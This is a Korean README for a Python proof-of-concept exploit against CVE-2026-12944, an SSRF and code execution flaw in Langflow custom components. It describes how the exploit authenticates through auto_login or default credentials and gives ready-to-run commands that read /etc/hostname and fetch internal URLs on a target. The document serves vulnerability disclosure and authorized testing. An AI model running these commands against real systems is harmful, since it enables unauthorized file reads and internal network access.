
Langflow 1.10.0의 커스텀 컴포넌트에서 urllib를 통한 SSRF 취약점인 CVE-2026-12944를 익스플로잇하는 Python PoC로, 인증된 읽기 및 가져오기 기능을 제공합니다.
Langflow OSS (≤ 1.10.0) — 커스텀 컴포넌트에서 urllib.request / socket을 통한 임의 코드 실행이 가능한 취약점.
컴포넌트 스캐너의 차단 목록(denylist)이 이러한 표준 라이브러리 모듈을 놓쳤습니다. 1.10.1에서 수정됨 (IBM).
심각도: PR:L (공개 재현 가능 / 낮은 심각도)
익스플로잇 엔드포인트: POST /api/v1/custom_component
세션 쿠키 또는 베어러 토큰이 필요합니다.
--test — 인증이 필요하지 않습니다. 공개된 GET /api/v1/version만 수행합니다.--read / --fetch — 먼저 인증:
GET /api/v1/auto_login. JSON 응답에 이 포함되어 있으면 를 전송합니다 (사용자 이름/비밀번호 불필요).access_tokenAuthorization: Bearer …application/x-www-form-urlencoded 형식으로 --uname / --password를 사용하여 POST /api/v1/login.POST /api/v1/custom_component로 전송합니다.--uname / --password는 자동 로그인이 비활성화된 경우에만 사용됩니다. 기본 설치에서는 무시됩니다.
승인된 테스트 전용입니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 대해 사용하지 마십시오.
요구 사항: Python 3 (표준 라이브러리만).
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --test
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --read /etc/hostname
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --fetch http://127.0.0.1:7860/api/v1/version
python3 cve-2026-12944-langflow-urllib-ssrf.py -u https://TARGET --read /etc/hostname --insecure
python3 cve-2026-12944-langflow-urllib-ssrf.py -u TARGET --uname langflow --password langflow --read /etc/hostname
보고 및 PoC: ShadowForge Cyber